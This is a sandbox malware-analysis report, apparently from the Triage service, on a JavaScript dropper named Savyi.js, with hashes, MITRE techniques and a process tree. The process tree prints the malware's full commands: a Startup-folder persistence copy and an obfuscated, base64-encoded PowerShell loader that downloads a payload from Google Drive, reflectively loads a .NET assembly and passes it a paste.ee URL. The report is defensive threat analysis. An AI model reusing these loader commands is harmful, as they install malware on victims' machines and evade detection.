ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4 | Triage

Analysis

max time kernel
91s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
31-10-2024 17:05

Sharing

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General

Target

Savyi.js
Size

60KB
MD5

caf142ae86793cd64c2947889f57ce28
SHA1

3c41375b1ee78c89b581b3d2a2aea42f895caab6
SHA256

ff6e5b04064c63dd80619d02c242c856bbf4e1f94ab230ca74817c3aa471ece4
SHA512

99eef70a65338f8147b9f5400ce3f49475140eb20d406c1cef0014abcd812ba0da5d94c5b61bd6deb0376ded7331fa1b4367283de86dd5f2edb7d215f4be6608
SSDEEP

1536:IHXpEjO9Xwq2Sk6e2Nhxdd5pdLv+lIXQXdE4QmuWOMP3HXpEjO9Xwq2Sk6e2Nhx6:IHXp+q62Nhxdd5pdq6k91HXp+q62Nhx6

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4368	powershell.exe
4	4368	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

PowerShell

pid	Process
2220	powershell.exe
3000	powershell.exe
4368	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.js	wscript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

flow	ioc
1	drive.google.com
2	drive.google.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

pid	Process
3492	cmd.exe
3788	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

pid	Process
3788	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2220	powershell.exe
2220	powershell.exe
3000	powershell.exe
3000	powershell.exe
4368	powershell.exe
4368	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	4368	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4040 wrote to memory of 3492	4040	wscript.exe	77
PID 4040 wrote to memory of 3492	4040	wscript.exe	77
PID 3492 wrote to memory of 3788	3492	cmd.exe	79
PID 3492 wrote to memory of 3788	3492	cmd.exe	79
PID 3492 wrote to memory of 2220	3492	cmd.exe	80
PID 3492 wrote to memory of 2220	3492	cmd.exe	80
PID 4040 wrote to memory of 3000	4040	wscript.exe	81
PID 4040 wrote to memory of 3000	4040	wscript.exe	81
PID 3000 wrote to memory of 4368	3000	powershell.exe	83
PID 3000 wrote to memory of 4368	3000	powershell.exe	83

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Savyi.js
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Savyi.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Savyi.js', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sj.JJC.js')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAoACAAJABFAE4AVgA6AEMATwBNAHMAUABlAGMAWwA0ACwAMQA1ACwAMgA1AF0ALQBKAG8AaQBOACcAJwApACAAKAAgACgAKAAnADgATwBaAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABOADYASQBoAHQAdABwAHMAOgAvAC8AZAByAGkAdgBlAC4AZwBvAG8AZwBsAGUALgBjAG8AbQAvAHUAYwA/AGUAeABwAG8AcgB0AD0AZABvAHcAbgBsAG8AYQBkACYAaQBkAD0AJwArACcAMQBBACcAKwAnAEkAVgBnAEoASgBKAHYAMQBGACcAKwAnADYAdgBTADQAcwBVAE8AeQBiAG4ASAAtAHMARAB2AFUAaABCAFkAdwB1AHIAIABOADYASQA7ADgATwBaAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlACcAKwAnAGIAQwBsAGkAZQBuAHQAOwA4AE8AWgBpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgADgATwBaAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAA4AE8AWgBpAG0AYQBnACcAKwAnAGUAVQByAGwAKQA7ADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQAnACsAJwBuACcAKwAnAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdAAnACsAJwBTACcAKwAnAHQAcgBpACcAKwAnAG4AJwArACcAZwAoADgATwBaAGkAbQBhAGcAZQBCACcAKwAnAHkAdABlAHMAKQA7ADgATwBaAHMAdABhAHIAdABGAGwAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4ATgA2AEkAOwAnACsAJwA4AE8AWgBlAG4AZABGAGwAJwArACcAYQBnACAAPQAgAE4ANgBJADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgBOADYASQA7ADgATwAnACsAJwBaAHMAdABhACcAKwAnAHIAdABJAG4AZABlAHgAIAA9ACAAOABPAFoAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAOABPAFoAcwB0AGEAcgB0AEYAbABhAGcAKQA7ADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAnACsAJwA4AE8AWgBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAA4AE8AWgBlAG4AZABGAGwAYQBnACkAOwA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgADgATwBaAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJwArACcAOAAnACsAJwBPAFoAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AJwArACcAIAA4AE8AWgBzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAOABPAFoAYgBhAHMAZQA2ADQATAAnACsAJwBlAG4AZwB0AGgAIAA9ACAAJwArACcAOABPAFoAZQBuAGQASQBuAGQAZQB4ACAALQAgADgATwBaAHMAdABhAHIAdABJAG4AZABlAHgAJwArACcAOwA4AE8AWgBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgADgATwBaAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0ACcAKwAnAHIAaQBuAGcAKAA4AE8AWgBzAHQAYQByAHQASQBuAGQAZQB4ACwAIAA4AE8AWgBiAGEAcwBlADYANABMAGUAbgBnAHQAJwArACcAaAApADsAOABPAFoAYgAnACsAJwBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAAwAE4AUAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAA4AE8AWgBfACAAfQApAFsALQAxAC4ALgAtACgAOABPAFoAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuACcAKwAnAEwAZQBuAGcAdABoACkAXQA7ADgATwBaAGMAJwArACcAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAA4AE8AWgBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAKQA7ADgATwBaAGwAbwBhACcAKwAnAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdAAnACsAJwBpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAOABPAFoAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ADgATwBaAHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABOADYASQBWAEEASQBOADYASQApADsAOABPAFoAdgBhAGkATQAnACsAJwBlAHQAaABvAGQALgBJAG4AdgBvAGsAZQAoADgATwBaAG4AdQBsAGwALAAgAEAAKABOADYASQAwAC8AZQB6AHEAVAA1AC8AZAAvAGUAZQAuACcAKwAnAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALAAgAE4ANgBJAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgBOADYASQAsACAATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAnACsAJwAsACAATgAnACsAJwA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAJwArACcALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAZABlAHMAYQB0AGkAdgBhAGQAbwBOADYASQAsAE4ANgBJAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkALABOADYASQBkAGUAcwBhAHQAaQB2AGEAZABvAE4ANgBJACwATgA2AEkAMQBOADYAJwArACcASQAsAE4ANgBJACcAKwAnAGQAZQBzAGEAdABpAHYAYQBkAG8ATgA2AEkAKQApADsAJwApACAALQByAGUAcABsAGEAYwBlACAAIAAnADgATwBaACcALABbAEMAaABhAHIAXQAzADYAIAAtAHIAZQBwAGwAYQBjAGUAIAAgACcAMABOAFAAJwAsAFsAQwBoAGEAcgBdADEAMgA0AC0AcgBlAHAAbABhAGMAZQAnAE4ANgBJACcALABbAEMAaABhAHIAXQAzADkAKQAgACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $ENV:COMsPec[4,15,25]-JoiN'') ( (('8OZimageUrl = N6Ihttps://drive.google.com/uc?export=download&id='+'1A'+'IVgJJJv1F'+'6vS4sUOybnH-sDvUhBYwur N6I;8OZwebClient = New-Objec'+'t System.Net.We'+'bClient;8OZimageBytes = 8OZwebClient.DownloadData(8OZimag'+'eUrl);8OZimageText = [System.Text.E'+'n'+'coding]::UTF8.Get'+'S'+'tri'+'n'+'g(8OZimageB'+'ytes);8OZstartFlag = N6I<<BASE64_START>>N6I;'+'8OZendFl'+'ag = N6I<<BASE64_END>>N6I;8O'+'Zsta'+'rtIndex = 8OZimageText.IndexOf(8OZstartFlag);8OZendIndex = '+'8OZimageText.IndexOf(8OZendFlag);8OZstartIndex -ge 0 -and 8OZendIndex -gt '+'8'+'OZstartIndex;8OZstartIndex +='+' 8OZstartFlag.Length;8OZbase64L'+'ength = '+'8OZendIndex - 8OZstartIndex'+';8OZbase64Command = 8OZimageText.Subst'+'ring(8OZstartIndex, 8OZbase64Lengt'+'h);8OZb'+'ase64Reversed = -join (8OZbase64Command.ToCharArray() 0NP ForEach-Object { 8OZ_ })[-1..-(8OZbase64Command.'+'Length)];8OZc'+'ommandBytes = [System.Convert]::FromBase64String(8OZbase64Reversed);8OZloa'+'dedAssembly = [System.Reflect'+'ion.Assembly]::Load(8OZcommandBytes);8OZvaiMethod = [dnlib.IO.Home].GetMethod(N6IVAIN6I);8OZvaiM'+'ethod.Invoke(8OZnull, @(N6I0/ezqT5/d/ee.'+'etsap//:sptthN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IdesativadoN6I, N6IAddInProcess32N6I, N6IdesativadoN6I'+', N'+'6IdesativadoN6I,N6IdesativadoN6I'+',N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6IdesativadoN6I,N6I1N6'+'I,N6I'+'desativadoN6I));') -replace '8OZ',[Char]36 -replace '0NP',[Char]124-replace'N6I',[Char]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

JavaScript

PowerShell

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

System Information Discovery

System Network Configuration Discovery

Internet Connection Discovery

Lateral Movement

Collection

Command and Control

Web Service

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
437395ef86850fbff98c12dff89eb621

SHA1
9cec41e230fa9839de1e5c42b7dbc8b31df0d69c

SHA256
9c39f3e1ee674a289926fddddfc5549740c488686ec6513f53848a225c192ba6

SHA512
bc669893f5c97e80a62fc3d15383ed7c62ffc86bc986401735903019bb96a5f13e4d0f6356baa2021267503a4eb62681e58e28fcff435350e83aa425fa76cd64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0c07692919bae44a6c52439fed073338

SHA1
e32771a60f0bc601eb817bd812155477199aaea7

SHA256
f810e63ccdc0cbb4f587323d6c83baf9252ed2a71ee5951dd646a51069000405

SHA512
01394439fab8cd7063387ef427d756a3844fc9f28d3577e0099990f65ffee1a9d5235ec5ab051841832d3ffb04db811561baede6c3b37178c09fa7257e500733

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
ad1621c60bd4ee5a63f31400b8a85e17

SHA1
8cc83c0a27b1a47538d1d2b2dbf59cd4c9257b03

SHA256
1d875e29e4ae41fdf5fc736864be396729ac92dbc92da6bde9ae48745bcd0d9f

SHA512
26bbb99d4f4e73ba2a2e3a6d1cf0cd583ba5df80727b9d6ae2f11deefc361157c3c86ea54287da90152d4e2ffa905bd02882111601568d20b91127bd3299a6ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_23xy20nl.fqo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2220-1-0x00007FFCFBEF3000-0x00007FFCFBEF5000-memory.dmp

Filesize
8KB

Download
memory/2220-10-0x000001B5ED610000-0x000001B5ED632000-memory.dmp

Filesize
136KB

Download
memory/2220-11-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download
memory/2220-12-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download
memory/2220-13-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download
memory/2220-14-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download
memory/2220-17-0x00007FFCFBEF0000-0x00007FFCFC9B2000-memory.dmp

Filesize
10.8MB

Download